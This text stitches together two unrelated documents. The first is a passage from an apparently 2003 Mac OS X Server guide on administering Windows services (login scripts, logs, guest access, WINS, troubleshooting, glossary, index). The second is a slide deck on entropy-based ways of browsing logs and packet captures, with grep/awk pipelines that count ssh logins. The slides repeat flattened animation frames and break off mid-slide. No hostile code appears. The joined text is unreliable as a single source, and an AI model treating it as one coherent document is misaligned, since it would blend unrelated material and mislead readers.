Step 5: Transfer login scripts to Mac OS X Server
1 Copy login scripts from the Windows server to /etc/netlogon/ on Mac OS X Server.
2 In Workgroup Manager, select each Windows PDC user and make sure that the location
of the login script is correctly specified. The Login Script field should contain the
relative path to a login script located in /etc/logon/. For example, if you’ve copied a
script named setup.bat into /etc/logon/, the Login Script field should contain setup.bat.
Step 6: Join Windows clients to Mac OS X Server PDC
On the workstation of each Windows user for whom you created an account on
Mac OS X Server, join the Windows PDC domain on the server to enable Open
Directory authentication for users who log in at the workstation.
Now when a Windows workstation user logs in to Mac OS X Server, his or her home
directory is automatically created and mounts on the Windows workstation.
LL2356.book Page 48 Thursday, September 4, 2003 3:21 PM
Chapter 4 Migrating Users From a Windows Server to Mac OS X Server
49
Step 7: Transfer client files and settings to Mac OS X Server home directories
Each Windows workstation user can now move files from the Windows server to his or
her home directory on Mac OS X Server.
1 On a Windows client that’s been set up to join the Mac OS X Server domain, map a
network drive to Mac OS X Server and log in as one of the imported users.
The first time a Windows user logs in, his or her home directory mounts on the
Windows workstation.
2 Map a network drive to the Windows server where the files to transfer reside.
3 Copy files of interest to the Mac OS X Server home directory. Default permissions set up
in step 2 are assigned to each file.
When you log out, user settings (such as the background picture) are saved on
Mac OS X Server and used for future login.
LL2356.book Page 49 Thursday, September 4, 2003 3:21 PM
LL2356.book Page 50 Thursday, September 4, 2003 3:21 PM
5
51
5 Managing Windows Services
You can use Server Admin to start and stop Windows
services, monitor them, change their server’s Windows
identity, manage access to them, manage their logs, and
change their advanced settings.
For management task descriptions and instructions, see:
• “Starting and Stopping Windows Services” on this page
• “Monitoring Windows Services” on page 52
• “Changing the Server’s Windows Identity” on page 54
• “Managing Access to Windows Services” on page 55
• “Managing Windows Services Logging” on page 56
• “Managing Advanced Windows Services Settings” on page 57
Starting and Stopping Windows Services
You can start and stop Windows services.
Starting Windows Services
You can use Server Admin to start Windows services if they are stopped.
To start Windows services:
1 Open Server Admin and select Windows in the Computers & Services list.
2 Click Start Service.
From the Command Line
You can also start Windows services by using the serveradmin command in Terminal.
For more information, see the file services chapter of the command-line administration
guide.
Stopping Windows Services
You can use Server Admin to stop Windows services.
Important: When you stop Windows services, connected users will lose any
information they haven’t saved.
LL2356.book Page 51 Thursday, September 4, 2003 3:21 PM
52
Chapter 5 Managing Windows Services
To stop Windows services:
1 Open Server Admin and select Windows in the Computers & Services list.
2 Click Stop Service.
From the Command Line
You can also stop Windows services by using the serveradmin command in Terminal.
For more information, see the file services chapter of the command-line administration
guide.
Monitoring Windows Services
You can check the status of Windows services, view the Windows services logs, and see
a list of users who are currently connected for Windows services.
Viewing Windows Services Status
You can use Server Admin to check the status of Windows services.
To view Windows services status:
1 Open Server Admin and select Windows in the Computers & Services list.
2 Click Overview to see whether the service is running and how many users are
connected.
3 Click Logs to see the Windows file service and name service logs.
Use the Show pop-up menu to choose which log to view.
4 Click Connections to see a list of the users currently connected to the Windows
services.
The list includes the users’ names, IP addresses, and duration of connections. A button
at the bottom of the pane lets you disconnect a user.
5 Click Graphs to see graphs of connected users or throughput.
Use the slider to adjust the time scale.
From the Command Line
You can also check Windows services status by using the serveradmin command in
Terminal or using the cat or tail command to view the log files in /var/log/samba.
For more information, see the file services chapter of the command-line administration
guide.
LL2356.book Page 52 Thursday, September 4, 2003 3:21 PM
Chapter 5 Managing Windows Services
53
Viewing Windows Services Logs
You can use Server Admin to view the logs of Windows services.
To view Windows services logs:
1 Open Server Admin and select Windows in the Computers & Services list.
2 Click Logs to see the Windows file service and name service logs.
3 Use the Show pop-up menu to choose which log to view.
From the Command Line
You can also view the logs of Windows services by using the cat or tail command in
Terminal to view the log files in /var/log/samba. For more information, see the file
services chapter of the command-line administration guide.
Viewing Windows Services Connections
You can use Server Admin to see which users are connected to Windows services, and
you can forcibly disconnect users.
Important: Users who are disconnected will lose unsaved work in open files.
To view Windows services connections:
1 Open Server Admin and select Windows in the Computers & Services list.
2 Click Connections to see a list of the users currently connected to the Windows
services.
The list includes the users’ names, IP addresses, and duration of connections.
A button at the bottom of the pane lets you disconnect a user.
From the Command Line
You can also check the number of connections to Windows services by using the
serveradmin command in Terminal. For more information, see the file services chapter
of the command-line administration guide.
Viewing Windows Services Graphs
You can use Server Admin to view graphs of connected Windows users or the
throughput of Windows services.
To view Windows services graphs:
1 Open Server Admin and select Windows in the Computers & Services list.
2 Click Graphs to see graphs of connected users or throughput.
3 Use the slider to adjust the time scale.
Disconnecting Windows Users
You can use Server Admin to forcibly disconnect users of Windows services.
Important: Users who are disconnected will lose unsaved work in open files.
LL2356.book Page 53 Thursday, September 4, 2003 3:21 PM
54
Chapter 5 Managing Windows Services
To forcibly disconnect users of Windows services:
1 Open Server Admin and select Windows in the Computers & Services list.
2 Click Connections to see a list of the users currently connected to the Windows
services.
The list includes the users’ names, IP addresses, and duration of connections.
3 Select users that you want to forcibly disconnect and click Disconnect.
Changing the Server’s Windows Identity
You can change a server’s identity among clients of Windows services by changing the
server’s Windows computer name or by changing its Windows domain or workgroup.
Changing the Server’s Windows Computer Name
Using Server Admin, you can change the computer name by which Mac OS X Server is
known in a Windows domain or workgroup. If the server is the primary domain
controller (PDC) or a Windows domain member, the computer name is the server’s
NetBIOS name in the domain. If the server provides standalone Windows services but is
not the PDC or a domain member, the computer name is the server’s NetBIOS name in
the workgroup. Windows users see this name when they connect to the server.
To change the Windows computer name of Mac OS X Server:
1 In Server Admin’s Computers & Services list, select Windows for the server whose
Windows computer name you want to change.
2 Click Settings (near the bottom of the window), then click General (near the top).
3 Enter the computer name, then click Save.
The name should contain no more than 15 characters, no special characters, and no
punctuation. If practical, make the server name match its unqualified DNS host name.
For example, if your DNS server has an entry for your server as “server.example.com,”
give your server the name “server.”
4 If the server is the PDC or a Windows domain member, you must authenticate by
entering the name and password of a user account that can administer the LDAP
directory domain on the PDC server.
Since workgroups are ad hoc, you do not have to authenticate as an administrator to
change the computer name of a server that provides only standalone Windows
services.
From the Command Line
You can also change the server name using the serveradmin command in Terminal.
For more information, see the file services chapter of the command-line administration
guide.
LL2356.book Page 54 Thursday, September 4, 2003 3:21 PM
Chapter 5 Managing Windows Services
55
Changing the Server’s Windows Domain
Using Server Admin, you change the Windows domain of a server that is a domain
member.
To change the Windows domain of Mac OS X Server:
1 In Server Admin’s Computers & Services list, select Windows for the server whose
Windows domain you want to change.
2 Click Settings (near the bottom of the window), then click General (near the top).
3 Enter the Windows domain name, then click Save.
Changing the Sever’s Windows Workgroup
Using Server Admin, you can change the workgroup name of a server that provides
only standalone Windows services (file, print, browsing, or WINS). Windows users see
the workgroup name in the Network Neighborhood window. If you have Windows
domains on your subnet, use one of them as the workgroup name to make it easier for
clients to communicate across subnets. Otherwise, consult your Windows network
administrator for the correct name.
To change the Windows workgroup name of Mac OS X Server:
1 In Server Admin’s Computers & Services list, select Windows for the server whose
Windows domain you want to change.
2 Click Settings (near the bottom of the window), then click General (near the top).
3 Type a name in the Workgroup field, then click Save.
From the Command Line
You can also change the Windows workgroup name using the serveradmin command
in Terminal. For more information, see the file services chapter of the command-line
administration guide.
Managing Access to Windows Services
You can manage access to Windows services by allowing or disallowing guest access to
Windows file service and by limiting the number of connected Windows clients.
Allowing Guest Access for Windows Services
You can use Server Admin to enable or disable guest access to Windows file service.
Guest users can access Windows file service on your server without supplying a name
and password. For better security, do not allow guest access.
Warning: Do not change the domain name of a PDC server unless absolutely
necessary. If you change the name of the PDC domain, Windows workstations that
were domain members will have to rejoin the domain under its new name.
LL2356.book Page 55 Thursday, September 4, 2003 3:21 PM
56
Chapter 5 Managing Windows Services
Users must always enter a name and password to log in to the Windows domain of a
Mac OS X Server primary domain controller from a Windows workstation. The Windows
print service provided by Mac OS X Server does not require authentication. Windows
browsing and name resolution services do not require authentication either.
To enable guest access to Windows file service:
1 Open Server Admin and select Windows in the Computers & Services list.
2 Click Settings, then click Access.
3 Click “Allow Guest access,” then click Save.
If “Allow Guest access” is selected, users can connect for Windows file service without
using a name or password.
If “Allow Guest access” is unselected, users must supply a valid name and password to
use Windows file service.
From the Command Line
You can also enable or disable guest access to Windows file service using the
serveradmin command in Terminal. For more information, see the file services chapter
of the command-line administration guide.
Limiting the Number of Connected Windows Clients
Using Server Admin, you can limit the potential resources consumed by Windows
services by limiting the maximum number of connections.
To set the maximum number of connections:
1 Open Server Admin and select Windows in the Computers & Services list.
2 Click Settings, then click Access.
3 Select “__maximum” and type the maximum number of connections.
4 Click Save.
From the Command Line
You can also limit client connections by using the serveradmin command in Terminal
to limit the number of SMB processes. For more information, see the file services
chapter of the command-line administration guide.
Managing Windows Services Logging
Using Server Admin, you can choose the level of detail you want to log for Windows
services.
To specify log contents:
1 Open Server Admin and select Windows in the Computers & Services list.
2 Click Settings, then click Logging (near the top).
LL2356.book Page 56 Thursday, September 4, 2003 3:21 PM
Chapter 5 Managing Windows Services
57
3 Choose from the Log Detail pop-up menu to set the level of detail you want to record,
then click Save.
The more detailed the logging, the larger the log file.
The following table shows the level of detail you get for each option.
From the Command Line
You can also change Windows services logging settings using the serveradmin
command in Terminal. For more information, see the file services chapter of the
command-line administration guide.
Managing Advanced Windows Services Settings
You can use the Advanced pane of Windows services settings in Server Admin to
choose a client code page, set the server to be a workgroup or domain master browser,
specify the server’s WINS registration, and enable virtual share points for user homes.
Changing the Windows Code Page
You can use Server Admin to change the code page, which determines the character set
used for Windows services.
To change the Windows code page:
1 Open Server Admin and select Windows in the Computers & Services list.
2 Click Settings, then click Advanced.
3 Choose the character set you want clients to use from the Code Page pop-up menu,
then click Save.
From the Command Line
You can also change the Windows code page by using the serveradmin command in
Terminal. For more information, see the file services chapter of the command-line
administration guide.
Enabling Windows Domain Browsing
If there are no Microsoft servers on your subnet or network to control domain
browsing, you can use these options to restrict domain browsing to a single subnet or
allow browsing across your network.
Events logged
Low
Medium
High
Warnings and errors
Yes
Yes
Yes
Service startup and stop
Yes
Yes
User login failures
Yes
Yes
Browser name registrations
Yes
Yes
File access events
Yes
LL2356.book Page 57 Thursday, September 4, 2003 3:21 PM
58
Chapter 5 Managing Windows Services
To enable domain browsing:
1 Open Server Admin and select Windows in the Computers & Services list.
2 Click Settings, then click Advanced.
3 Next to Services, select Workgroup Master Browser, Domain Master Browser, or both.
Select Master Browser to let clients browse for and locate servers in a single subnet.
Select Domain Master Browser to let clients browse for and locate servers across your
network (subnets).
4 Click Save.
From the Command Line
You can also change Windows domain browsing settings by using the serveradmin
command in Terminal. For more information, see the file services chapter of the
command-line administration guide.
Registering With a WINS Server
Windows Internet Naming Service (WINS) matches server names with IP addresses. You
can use your server as the local name resolution server, or you can register with an
external WINS server.
To register your server with a WINS server:
1 Open Server Admin and select Windows in the Computers & Services list.
2 Click Settings, then click Advanced.
3 Select one of the options under WINS Registration.
Choose “Off” to prevent your server from registering itself with any external WINS
server or local name resolution server.
Choose “Enable WINS server” to have the file server provide local name resolution
services. This allows clients across multiple subnets to perform name/address
resolution.
Choose “Register with WINS server” if your Windows clients and Windows server are not
all on the same subnet, and your network has a WINS server. Then enter the IP address
or DNS name of the WINS server.
4 Click Save.
From the Command Line
You can also change WINS settings using the serveradmin command in Terminal.
For more information, see the file services chapter of the command-line administration
guide.
LL2356.book Page 58 Thursday, September 4, 2003 3:21 PM
6
59
6 Solving Problems With Windows
Services
If you encounter problems while working with Windows
services of Mac OS X Server, you might find a solution in
this chapter.
Problems are listed in the following categories:
• Problems with a primary domain controller
• Problems with Windows file service
• Problems with Windows print service
Problems With a Primary Domain Controller
Problems with a primary domain controller (PDC) can have several causes.
User Can’t Log in to the Windows Domain
• Make sure the user account is configured to use Open Directory authentication. If the
user account was created in a previous version of Mac OS X Server (version 10.1 or
earlier) and is still configured to use Authentication Manager (the password type is
“Crypt password”), change the account to use Open Directory authentication.
• Make sure the workstation has joined the PDC domain
Windows User Has No Home Directory
• Make sure the correct home directory location is selected on the Home pane of
Workgroup Manger.
• Make sure the home directory path is correct on the Windows pane of Workgroup
Manger.
• Using Server Admin, connect to the server where the user’s home directory resides.
Select Windows in the Computers & Services list, click Advanced, and make sure the
“Enable virtual share points” setting is selected.
• The drive letter chosen for the user may be conflicting with a drive letter that’s
already in use on the Windows workstation. Remedy: change either the drive letter
setting on the Windows pane of Workgroup Manager or the mappings of other drive
letters on the workstation.
LL2356.book Page 59 Thursday, September 4, 2003 3:21 PM
60
Chapter 6 Solving Problems With Windows Services
Windows User’s Profile Settings Revert to Defaults
• Make sure the correct home directory location is selected on the Home pane of
Workgroup Manger.
• Make sure the home directory path is correct on the Windows pane of Workgroup
Manger.
• The drive letter chosen for the user may be conflicting with a drive letter that’s
already in use on the Windows workstation. Remedy: change either the drive letter
setting on the Windows pane of Workgroup Manager or the mappings of other drive
letters on the workstation.
Windows User Loses Contents of My Documents Folder
• Make sure the correct home directory location is selected on the Home pane of
Workgroup Manger.
• Make sure the user profile path is correct on the Windows pane of Workgroup
Manger. The contents of My Documents are stored in the user profile.
• The drive letter chosen for the user may be conflicting with a drive letter that’s
already in use on the Windows workstation. Remedy: change either the drive letter
setting on the Windows pane of Workgroup Manager or the mappings of other drive
letters on the workstation.
Problems With Windows File Service
You can solve some common problems with Windows file service and with file services
in general.
User Can’t Authenticate for Windows File Service
If a user can’t authenticate for Windows file service, make sure the user account is
configured to use Open Directory authentication. If the user account was created in a
previous version of Mac OS X Server (version 10.1 or earlier) and is still configured to
use Authentication Manager, change the account to use Open Directory
authentication. You do this in the Advanced pane of a user account window in
Workgroup Manager.
User Can’t See the Windows Server in the Network Neighborhood
• Make sure the user’s computer is properly configured for TCP/IP and has the
appropriate Windows networking software installed.
• Go to the DOS prompt on the client computer and type “ping IP address” where
IP address is your server’s address. If the ping fails, then there is a TCP/IP network
problem.
• If the user’s computer is on a different subnet from the server, try the following:
• Make sure the “Enable WINS server” option is selected or the “Register with WINS
server” option is selected and configured correctly. These options are in the
Settings pane of Windows services in Server Admin.
LL2356.book Page 60 Thursday, September 4, 2003 3:21 PM
Chapter 6 Solving Problems With Windows Services
61
• On the Windows computer, choose View > Refresh to force Windows to discover
newly added network resources, which can otherwise take several minutes to be
discovered.
• On the Windows computer, map a Mac OS X Server share point to a drive letter.
You can do this by opening the Network Neighborhood and choosing Tools > Map
Network Drive.
Note: If Windows computers are properly configured for networking and connected to
the network, client users can connect to the Windows file service of Mac OS X Server
even if they can’t see the server icon in the Network Neighborhood window.
General Problems With File Services
For possible solutions to the following additional file services problems, see the chapter
on solving problems in the file services administration guide.
• Users can’t find a shared item
• Users can’t see the contents of a share point
• You can’t find a volume or directory to use as a share point
Problems With Windows Print Service
You can solve some common problems with Windows print service and with print
services in general.
Windows Users Can’t Print
If Windows NT 4.x clients can’t print to the server, make sure that the queue name is
not the TCP/IP address of the printer or server. Use the DNS host name instead of the
printer or server address or, if there is none, enter a queue name containing only letters
and numbers.The name of an SMB print queue must not exceed 15 characters.
General Problems With Print Services
For additional problems and possible solutions, see the chapter on solving problems in
the print service administration guide.
• Print service doesn’t start
• Clients can’t add queue
• Jobs in a server queue don’t print
• Print queue becomes unavailable
LL2356.book Page 61 Thursday, September 4, 2003 3:21 PM
LL2356.book Page 62 Thursday, September 4, 2003 3:21 PM
63
Glossary
Glossary
Active Directory The directory service of Microsoft Windows 2000 and 2003 servers.
administrator A user with server or directory domain administration privileges.
Administrators are always members of the predefined “admin” group.
AFP (Apple Filing Protocol) A client/server protocol used by Apple file service on
Macintosh-compatible computers to share files and network services. AFP uses TCP/IP
and other protocols to communicate between computers on a network.
authentication The process of proving a user’s identity, typically by validating a user
name and password. Usually authentication occurs before an authorization process
determines the user’s level of access to a resource. For example, file service authorizes
full access to folders and files that an authenticated user owns.
authorization The process by which a service determines whether it should grant a
user access to a resource and how much access the service should allow the user to
have. Usually authorization occurs after an authentication process proves the user’s
identity. For example, file service authorizes full access to folders and files that an
authenticated user owns.
BSD (Berkeley System Distribution) A version of UNIX on which Mac OS X software
is based.
code page Defines extensions to the character set for Microsoft Windows. The base
character set, defined by the American Standard Code for Information Interchange
(ASCII), maps letters of the Latin alphabet, numerals, punctuation, and control
characters to the numbers 0 through 127. The code page maps additional characters,
such as accented letters for a particular language and symbols, to the numbers 128
through 255.
computer account A list of computers that have the same preference settings and are
available to the same users and groups.
LL2356.book Page 63 Thursday, September 4, 2003 3:21 PM
64
Glossary
directory domain A specialized database that stores authoritative information about
users and network resources; the information is needed by system software and
applications. The database is optimized to handle many requests for information and to
find and retrieve information quickly. Also called a directory node or simply a directory.
FTP (File Transfer Protocol) A protocol that allows computers to transfer files over a
network. FTP clients using any operating system that supports FTP can connect to a file
server and download files, depending on their access privileges. Most Internet browsers
and a number of freeware applications can be used to access an FTP server.
group A collection of users who have similar needs. Groups simplify the administration
of shared resources.
guest user A user who can log in to your server without a user name or password.
home directory A folder for a user’s personal use. Mac OS X also uses the home
directory, for example, to store system preferences and managed user settings for
Mac OS X users.
IP (Internet Protocol) Also known as IPv4. A method used with Transmission Control
Protocol (TCP) to send data between computers over a local network or the Internet.
IP delivers packets of data, while TCP keeps track of data packets.
IP address A unique numeric address that identifies a computer on the Internet.
LDAP (Lightweight Directory Access Protocol) A standard client-server protocol for
accessing a directory domain.
local domain A directory domain that can be accessed only by the computer on which
it resides.
Mac OS X The latest version of the Apple operating system. Mac OS X combines the
reliability of UNIX with the ease of use of Macintosh.
Mac OS X Server An industrial-strength server platform that supports Mac, Windows,
UNIX, and Linux clients out of the box and provides a suite of scalable workgroup and
network services plus advanced remote management tools.
NetBIOS (Network Basic Input/Output System) A program that allows applications on
different computers to communicate within a local area network.
NetInfo One of the Apple protocols for accessing a directory domain.
Open Directory The Apple directory services architecture, which can access
authoritative information about users and network resources from directory domains
that use LDAP, NetInfo, or Active Directory protocols; BSD configuration files; and
network services.
LL2356.book Page 64 Thursday, September 4, 2003 3:21 PM
Glossary
65
open source A term for the cooperative development of software by the Internet
community. The basic principle is to involve as many people as possible in writing and
debugging code by publishing the source code and encouraging the formation of a
large community of developers who will submit modifications and enhancements.
Network File System (NFS) A client/server protocol that uses TCP/IP to allow remote
users to access files as though they were local. NFS exports shared volumes to
computers according to IP address, rather than user name and password.
print queue An orderly waiting area where print jobs wait until a printer is available.
The print service in Mac OS X Server uses print queues on the server to facilitate
management.
privileges Settings that define the kind of access users have to shared items. You can
assign four types of privileges to a share point, folder, or file: read/write, read-only,
write-only, and none (no access).
protocol A set of rules that determines how data is sent back and forth between two
applications.
share point A folder, hard disk (or hard disk partition), or CD that is accessible over the
network. A share point is the point of access at the top level of a group of shared items.
Share points can be shared using AFP, Windows SMB, NFS (an “export”), or FTP protocols.
SMB (Server Message Block) A protocol that allows client computers to access files
and network services. It can be used over TCP/IP, the Internet, and other network
protocols. Windows services use SMB to provide access to servers, printers, and other
network resources.
subnet A grouping on the same network of client computers that are organized by
location (different floors of a building, for example) or by usage (all eighth-grade
students, for example). The use of subnets simplifies administration.
TCP (Transmission Control Protocol) A method used along with the Internet Protocol
(IP) to send data in the form of message units between computers over the Internet. IP
takes care of handling the actual delivery of the data, and TCP takes care of keeping
track of the individual units of data (called packets) into which a message is divided for
efficient routing through the Internet.
WINS (Windows Internet Naming Service) A name resolution service used by
Windows computers to match client names with IP addresses. A WINS server can be
located on the local network or externally on the Internet.
workgroup A set of users for whom you define preferences and privileges as a group.
Any preferences you define for a group are stored in the group account.
LL2356.book Page 65 Thursday, September 4, 2003 3:21 PM
LL2356.book Page 66 Thursday, September 4, 2003 3:21 PM
67
Index
Index
A
advanced settings, Windows services 35
authentication
Authentication Manager 19, 35
crypt password 35
domain member server 13, 21
logging of failures 23
Open Directory 59
Open Directory Password Server 35
PDC 19, 22
print service 56
shadow password 35
VPN 13
Windows services 18, 35
Authentication Manager 19, 35
B
basic settings 33
C
clients, Windows. See Windows clients, Windows
workstations
code page, changing 57
computer account
See also Windows Computers account
defined 29
Windows Computers 30, 39
computer name, changing 54
connections
limiting 56
Windows service, viewing 53
cross-platform issues for file service 18
crypt password 35
D
domain, changing 55
domain browsing 24, 57
domain login
authentication 18
PDC for 12, 22
user accounts for 31
F
file service
authenticating 18, 19
connecting from Windows 26, 27
guest access 23, 55
log 52, 53
problems 60
providing 13
G
graphs, Windows services 53
group accounts
defined 29
group folder settings 39
managing 38
Windows users in 30
group folder 39
group settings, in user accounts 36
guest access
file service 55
guest user 37
H
home directories
accessing 12
user account settings 36
L
locking
SMB opportunistic 41
SMB strict 41
login. See domain login
logs
viewing 53
Windows logging options 23, 57
M
Mac OS X Server
administration applications 14
documentation 8
mail settings, in user accounts 37
My Network Places, connecting from 26
LL2356.book Page 67 Thursday, September 4, 2003 3:21 PM
68
Index
N
naming share points 42
Network Neighborhood, connecting from 26
O
Open Directory Password Server 18, 35
oplocks. See opportunistic locking
opportunistic locking
described 41
enabling 42, 43
P
password validation. See authentication
PDC (primary domain controller)
domain login 12
home directories 12
joining 13
problems 59
role 19
setting up 22
user profiles 12
print service
configuring SMB sharing 25
problems 61
setting up a queue for Windows clients 25
Windows clients 27
print settings, in user accounts 37
privileges, share points 42
R
roaming user profiles 12, 34
S
Server Admin 14
allowing guest access to Windows services 56
changing server’s computer name 54
changing server’s Windows domain 55
changing server’s Windows workgroup 55
changing the code page 57
disconnecting Windows users 54
enabling Windows service domain browsing 58
enabling Windows services logs 56
limiting connections to Windows services 56
monitoring Windows services 52
registering Windows service with WINS 58
starting Windows services 25
stopping Windows services 52
viewing Windows services connections 53
viewing Windows services graphs 53
viewing Windows services logs 53
Windows services Advanced settings 24
Windows services General settings 23
Windows services Logging settings 23
server administration guides 8
shadow password 19, 35
share points
creating 42
defined 29
for Windows users 18
managing SMB 41
naming 42
planning 30
SMB (Server Message Block) protocol 13
Standalone Windows services 20
status, Windows service 52
strict locking
described 41
enabling 42, 43
T
TCP/IP Networking 26
U
user accounts
changing 33
defined 29
deleting 38
disabling 38
guest 37
home settings 36
locations 31
PDC 31
read/write directory 32
user profiles 12, 34
users, disconnecting 53
W
Windows clients
See also Windows workstations
cross-platform guidelines 18
limiting 56
TCP/IP setup 26
using file services 25
Windows Computers account
adding computers to 39
deleting 40
editing computer information 40
moving a computer from 40
removing computers from 40
Windows services
Access settings 24, 55
Advanced settings 24, 57
assigning server to workgroup 55
authentication 18
code page 57
connected users 53
connecting by name or address 27
connecting from Network Neighborhood 26
disconnecting users 53
domain browsing 24, 57
LL2356.book Page 68 Thursday, September 4, 2003 3:21 PM
Index
69
General settings 23
graphs 53
guest access 55
limiting connections 56
logs 53, 56
monitoring 52, 53
password validation 18
planning 18
registering with WINS server 58
starting 25, 51
status 52
stopping 51
TCP/IP setup 26
Windows user account settings 34
Windows workstations
adding to Windows Computers account 39
connecting to file service 26, 27
joining PDC 30
removing from Windows Computers account 40
setting up printing 27
WINS (Windows Internet Naming Service)
registering with 58
servers 24
workgroup, changing 55
Workgroup Manager 14
adding to the Windows Computers account 39
Advanced settings 35
Basic settings 33
configuring an SMB share point 43
creating share points 42
creating user accounts 31, 32
deleting a user account 38
disabling a user account 38
editing user accounts 33
Group settings 36
Mail settings 37
managing group accounts 38
Print settings 37
removing from the Windows Computers
account 40
setting up a home directory 36
Windows settings 34
LL2356.book Page 69 Thursday, September 4, 2003 3:21 PM | pdf |
Log browsing moves
Data organization
Examples
Entropy-based data organization tricks for
browsing logs and packet captures
Sergey Bratus
Department of Computer Science
Dartmouth College
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Outline
1
Log browsing moves
Pipes and tables
Trees are better than pipes and tables!
2
Data organization
Trying to define the browsing problem
Entropy
Measuring co-dependence
Mutual Information
The tree building algorithm
3
Examples
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Disclaimer
1
These are really simple tricks.
2
Not a survey of research literature (but see last slides).
You can do much cooler stuff with entropy etc.
3
NOT on-line IDS/IPS stuff:
Learning the “normal” values, patterns.
Statistical training −→ black box “oracle”.
Once trained, hard to understand or tweak.
4
These tricks are for off-line log browsing (“analysis”).
Entropy & friends:
What can they do for us in everyday log browsing?
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Outline
1
Log browsing moves
Pipes and tables
Trees are better than pipes and tables!
2
Data organization
Trying to define the browsing problem
Entropy
Measuring co-dependence
Mutual Information
The tree building algorithm
3
Examples
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
The UNIX pipe length contest
What does this do?
grep ’Accepted password’ /var/log/secure |
awk ’{print $11}’ | sort | uniq -c | sort -nr
/var/log/secure:
Jan 13 21:11:11 zion sshd[3213]: Accepted password for root from 209.61.200.11
Jan 13 21:30:20 zion sshd[3263]: Failed password for neo from 68.38.148.149
Jan 13 21:34:12 zion sshd[3267]: Accepted password for neo from 68.38.148.149
Jan 13 21:36:04 zion sshd[3355]: Accepted publickey for neo from 129.10.75.101
Jan 14 00:05:52 zion sshd[3600]: Failed password for neo from 68.38.148.149
Jan 14 00:05:57 zion sshd[3600]: Accepted password for neo from 68.38.148.149
Jan 14 12:06:40 zion sshd[5160]: Accepted password for neo from 68.38.148.149
Jan 14 12:39:57 zion sshd[5306]: Illegal user asmith from 68.38.148.149
Jan 14 14:50:36 zion sshd[5710]: Accepted publickey for neo from 68.38.148.149
And the answer is:
44
68.38.148.149
12
129.10.75.101
2
129.170.166.85
1
66.183.80.107
1
209.61.200.11
Successful logins via ssh using
password by IP address
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
...where is my WHERE clause?
What is this?
SELECT COUNT(*) as cnt, ip FROM logdata
GROUP BY ip ORDER BY cnt DESC
var.log.secure
(Successful logins via ssh using
password by IP address)
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Must... parse... syslog...
Wanted:
Free-text syslog records → named fields
Reality check
printf format strings are at developers’ discretion
120+ types of remote connections & user auth in Fedora
Core
Pattern language
sshd:
Accepted
%auth
for
%user
from
%host
Failed
%auth
for
%user
from
%host
Failed
%auth
for illegal
%user
from
%host
ftpd:
%host:
%user[%pid]: FTP LOGIN FROM
%host
[%ip],
%user
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
“The great cycle”
1
Filter
2
Group
3
Count
4
Sort
5
Rinse
Repeat
grep user1 /var/log/messages | grep ip1 | grep ...
awk -f script ... | sort | uniq -c | sort -n
SELECT * FROM logtbl WHERE user = ’user1’ AND ip = ’ip1’
GROUP BY ... ORDER BY ...
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Outline
1
Log browsing moves
Pipes and tables
Trees are better than pipes and tables!
2
Data organization
Trying to define the browsing problem
Entropy
Measuring co-dependence
Mutual Information
The tree building algorithm
3
Examples
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Can we do better than pipes & tables?
Humans naturally think in classification trees:
Protocol hierarchies (e.g., Wireshark)
Firewall decision trees (e.g., iptables chains)
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Can we do better than pipes & tables?
Humans naturally think in classification trees:
Protocol hierarchies (e.g., Wireshark)
Firewall decision trees (e.g., iptables chains)
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Use tree views to show logs!
Pipes, SQL queries → branches / paths
Groups ↔ nodes (sorted by count / weight), records ↔ leaves.
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Use tree views to show logs!
Pipes, SQL queries → branches / paths
Groups ↔ nodes (sorted by count / weight), records ↔ leaves.
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Use tree views to show logs!
Pipes, SQL queries → branches / paths
Groups ↔ nodes (sorted by count / weight), records ↔ leaves.
Queries pick out a leaf or a node in the tree.
grep 68.38.148.149 /var/log/secure | grep asmith | grep ...
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Use tree views to show logs!
Pipes, SQL queries → branches / paths
Groups ↔ nodes (sorted by count / weight), records ↔ leaves.
Queries pick out a leaf or a node in the tree.
grep 68.38.148.149 /var/log/secure | grep asmith | grep ...
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Use tree views to show logs!
Pipes, SQL queries → branches / paths
Groups ↔ nodes (sorted by count / weight), records ↔ leaves.
Queries pick out a leaf or a node in the tree.
grep 68.38.148.149 /var/log/secure | grep asmith | grep ...
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
A “coin sorter” for records/packets
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Classify → Save → Apply
⇒
⇓
1
Build a classification tree
from a dataset
2
Save template
3
Reuse on another
dataset
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Which tree to choose?
user → ip?
ip → user?
Goal: best grouping
How to choose the “best” grouping (tree shape) for a dataset?
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Outline
1
Log browsing moves
Pipes and tables
Trees are better than pipes and tables!
2
Data organization
Trying to define the browsing problem
Entropy
Measuring co-dependence
Mutual Information
The tree building algorithm
3
Examples
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Trying to define the browsing problem
The lines you need are only
20 PgDns away:
...each one surrounded by
a page of chaff...
...in a twisty maze of
messages, all alike...
...but slightly different, in
ways you don’t expect.
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Trying to define the browsing problem
The lines you need are only
20 PgDns away:
...each one surrounded by
a page of chaff...
